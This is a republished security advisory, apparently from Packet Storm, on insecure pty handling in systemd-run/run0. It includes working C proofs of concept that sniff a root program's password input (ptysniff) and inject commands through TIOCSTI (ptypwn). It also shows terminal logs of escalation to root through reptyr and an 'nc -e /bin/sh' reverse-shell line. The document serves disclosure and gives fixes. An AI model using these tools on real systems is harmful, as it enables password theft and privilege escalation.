Security
Headlines
HeadlinesLatestCVEs

Headline

Systemd Insecure PTY Handling

Systemd-run/run0 allocates user-owned ptys and attaches the slave to high privilege programs without changing ownership or locking the pty slave.

Packet Storm
#vulnerability#microsoft#linux#auth#ssh
Systemd Insecure PTY Handling Vulnerability===========================================CVSSv3.BaseScore: 5.8CVSSv3.Vector: AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:NShort Description=================Systemd-run/run0 allocates user-owned pty's and attaches the slaveto high privilege programs without changing ownership or locking the pty slave. Description===========Systemd-run/run0 is working towards a "sudo"-like replacement for v256 that is based on the existing policykit and d-bus based "systemd-run" transient service execution. The code in "src/run/run.c" on line 1673 creates a PTY master and slave used for this process, and the slave name is passed to unlockpt() on line 1689. This allows any process to connect to e.g. "/dev/pts/4" slave interface, this interface is created under the local user context executing "systemd-run". The code subsequently uses a PTY forwarder (src/shared/ptyfwd.c) and d-bus once authenticationby policykit is approved, the slave end of the pty created will beattached to the privileged executed program. As the slave interfaceis not locked to the privilege level of the newly executed process,a vulnerability is introduced to the system as any same-user process can now interact with the slave end of the root program. Exploitation ============This issue can be exploited by opening a handle to the slave interfaceand using terminal I/O routines such as read() to access the input ofthe root program. Slave PTY's are not designed for multiple programs toaccess them and this has the unintended effect of redirecting inputintended for the privileged program back to unprivileged processes, anexample code "ptysniff.c" is provided here and terminal output that shows the issue being used to read input from a systemd-run executed "passwd" program, returning the password intended for the root program back to the local user.User Terminal=============The user executes systemd with "--pty" to allocate a new "root" pty andexecute "passwd" in the new terminal.fantastic@fantastic-pc  /dev/pts  systemd-run --pty passwd==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====Authentication is required to manage system services or other units.Authenticating as: fantasticPassword:==== AUTHENTICATION COMPLETE ====Running as unit: run-u63.servicePress ^] three times within 1s to disconnect TTY.New password:Retype new password:Attacker Terminal=================The slave end of the systemd-run terminal is still owned by the local usercontext, "/dev/pts/5" in the example above - allowing ptysniff to read thepassword input intended to be sent to "passwd".fantastic@fantastic-pc  /Work/voldermort  ls -al /dev/pts/5Permissions  Size User      Date Modified Namecrw--w----  136,5 fantastic  4 May 08:51   /dev/pts/5fantastic@fantastic-pc  /Work/voldermort  ./ptysniff /dev/pts/5Received: pReceived: aReceived: sReceived: sReceived: wReceived: oReceived: rReceived: dReceived:/* ptysniff.c - read from a slave pts used by a higher privileged program */#include <fcntl.h>#include <stdio.h>#include <unistd.h>#include <sys/file.h>#define BUF_SIZE 1024int main(int argc, char *argv[]) {    if (argc != 2) {        fprintf(stderr, "Usage: %s <pts>\n", argv[0]);        return 1;    }    int fd = open(argv[1], O_RDWR | O_NOCTTY);    if (fd == -1) {        perror("open");        return 1;    }    char buf[BUF_SIZE];    ssize_t numRead;    while (1) {        if (flock(fd, LOCK_EX) == -1) {            perror("flock");            return 1;        }        numRead = read(fd, buf, BUF_SIZE - 1);        if (numRead == -1) {            perror("read");            return 1;        }        for (int i = 0; i < numRead; i++) {            printf("Received: %c\n", buf[i]);        }        if (flock(fd, LOCK_UN) == -1) {            perror("flock");            return 1;        }    }    return 0;}Recommendation==============It is recommended the systemd-run created pty slave interfaceis chown()'d to the same user as the privileged execution contextthat it operates, this would result in "permission denied" whenattempting to attach another program to the slave end of the pty.Additional Information======================In addition to the vulnerability outlined above, it is possible toexploit the problem to execute commands or completely hijack the root owned program from the same-user context when other conditions are met. Linux Kernel since around 4.1 has enabled ptrace YAMA, aprotection that limits the use of ptrace for debugging purposes.With ptrace_classic set to enabled, such as with the following command."echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope" It is possible to simply read the master fd for the pty from the"systemd-run" application, and re-parent a process to use the master end - hijacking the root program which would not be accessibleto ptrace. This can be done with GDB (set inferior tty) or a tool such as "reptyr". User Terminal=============fantastic@fantastic-pc  /Work/systemd   main   systemd-run --shellRunning as unit: run-u87.service; invocation ID: abc22b3152ae48cea20ce86c11b555a1Press ^] three times within 1s to disconnect TTY.[root@fantastic-pc systemd]# Attacker Terminal=================fantastic@fantastic-pc  /Work/systemd   main   ps -aef | grep systemd-run | grep shell | grep -v grep;id;ttyfantast+    5541    5477  0 09:08 pts/6    00:00:00 systemd-run --shelluid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel)/dev/pts/1fantastic@fantastic-pc  /Work/systemd   main   reptyr -T 5541[root@fantastic-pc systemd]# iduid=0(root) gid=0(root) groups=0(root)[root@fantastic-pc systemd]# tty/dev/pts/0Enabling ptrace_classic should not result in "root" permissions to unprivileged users, many operating systems support debugging applications and can do so withoutimmediately giving away Administrative rights, YAMA is intended to provide thisprotection. However, sessions and terminals started under "SSHD" for instance are protected against these attacks through use of "prctl()" to prevent ptrace_attach from connecting to the process, preventing them being read even with ptrace_classic. This issue can also impact "su" and "sudo" and is a wider problem in Linux when ptrace_classic is enabled. Ensure that production systems do not support the useof ptrace_classic.Another path of exploitation can also be undertaken by an attacker when ptrace_classicis disabled, however they must be able to re-parent their tty or have control of execution of a child within the parent process. Attempts to call ioctl() with TIOCSTI historicallyrequired only the same user-context to access the tty, however to limit these attacks Linuxnow requires the process calling the ioctl() to be a descendant of the parent process usingthe pty or have the pty set as its controlling terminal. An example is shown here, an attacker uses "nc" to execute "ptypwn" and hijack a root program executed later through systemd-run by the parent. The source code for ptypwn.c is provided.User Terminal=============fantastic@fantastic-pc    tty/dev/pts/3fantastic@fantastic-pc    nc -e /bin/sh localhost 1337 &[1] 6926  fantastic@fantastic-pc    systemd-run --shell==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====Authentication is required to manage system services or other units.Authenticating as: fantasticPassword:==== AUTHENTICATION COMPLETE ====Running as unit: run-u100.servicePress ^] three times within 1s to disconnect TTY.[root@fantastic-pc fantastic]# iduid=0(root) gid=0(root) groups=0(root)[root@fantastic-pc fantastic]# iduid=0(root) gid=0(root) groups=0(root)[root@fantastic-pc fantastic]# iduid=0(root) gid=0(root) groups=0(root)[root@fantastic-pc fantastic]#Attacker Terminal================= fantastic@fantastic-pc  /Work/voldermort  nc -v -v -l -p 1337Listening on any address 1337 (menandmice-dns)Connection from 127.0.0.1:49282tty;idnot a ttyuid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel)./ptypwn /dev/pts/3./ptypwn /dev/pts/3./ptypwn /dev/pts/3/* ptypwn.c - use TIOCSTI ioctl to inject commands into user-owned pty */#include <fcntl.h>#include <stdio.h>#include <string.h>#include <sys/ioctl.h>int main(int argc, char *argv[]) {    if (argc != 2) {        fprintf(stderr, "Usage: %s <pts>\n", argv[0]);        return 1;    }    int fd = open(argv[1], O_RDWR);    if (fd < 0) {        perror("open");        return -1;    }    char *x = "id\n";    while (*x != 0) {        int ret = ioctl(fd, TIOCSTI, x);        if (ret == -1) {            perror("ioctl()");        }        x++;    }    return 0;}Additionally systemd-run supports a "--pipe" operation which will simply connect the privilegedprocess to the same-user parent tty directly, this option should be removed entirely as it offersno protection against the attacks outlined above. PolicyKit / sudoer Configuration Discrepancy============================================It is worth noting that a common misconfiguration can present itself in systemd/policykit Linux environments where users are not permitted to execute commands through "sudo" but are permittedto execute commands through policykit services such as "systemd-run". This can lead to attackerswho would be denied "sudo" requests being able to obtain "root" permissions through "systemd-run".An example of this configuration error can be seen below, as "systemd-run" proposes to become a "sudo" replacement, this issue has been included for completeness and for system administrators toreview their sudo and policykit configurations to ensure such discrepancies do not exist. fantastic@fantastic-pc    sudo su -fantastic is not in the sudoers file.   fantastic@fantastic-pc    systemd-run --shell==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====Authentication is required to manage system services or other units.Authenticating as: fantasticPassword:==== AUTHENTICATION COMPLETE ====Running as unit: run-u107.servicePress ^] three times within 1s to disconnect TTY.[root@fantastic-pc fantastic]# iduid=0(root) gid=0(root) groups=0(root) TLDR; Conclusion================Systemd-run/run0 should chown() the created slave pty interface to the same user contextusing the pty, this will limit privilege escalation opportunities within the system andaddress the medium risk issue highlighted at the start of this advisory. The additionalinformation in this advisory discusses wider Linux pty security handling issues, insecure configurations and thier exploitation naunces that can be leveraged for privilege escalation attacks. Whilst these tactics will serve Red Team's targetting Linux, it is noted that similarthreats against Microsoft's recently introduced "sudo" that allowed any local user to obtainelevated rights through insecure pipe handlers were quickly addressed. It is also noted thatdespite the insecure system configurations, applications such as "SSHD" protect against someof the highlighted risks through proper use of prctl() to prevent ptrace_attach() and hardeningon TTY allocation and handling. Fixing the vulnerability outlined in systemd-run through chown()is recommended, the Linux community should take note that the attacker threatscape has changedsignificantly with a renewed interest in targetting these systems by adversaries - considerationshould be given to hardening PTY/TTY handling processes and protection against ptrace_classicregardless when privileged system operations take place. Attackers are less likely to useon-disk methods such as manipulation of .profile or .bashrc when they can simply hijack the requested permissions at a later date without touching disk from implants or other malicious code that has obtained execution in the contexts described above. In relation to security boundaries, the polkit authentication request sent by systemd-run is ONE-SHOT, as opposed topersitent. This means that every request to systemd-run for elevation should present the userwith a password prompt, by exploiting this issue the elevation request behaves as persistent for the lifecycle of the elevated program.  -- Hacker Fantastic 04/05/2024https://hacker.house

Packet Storm: Latest News

NIELD (Network Interface Events Logging Daemon) 0.6.2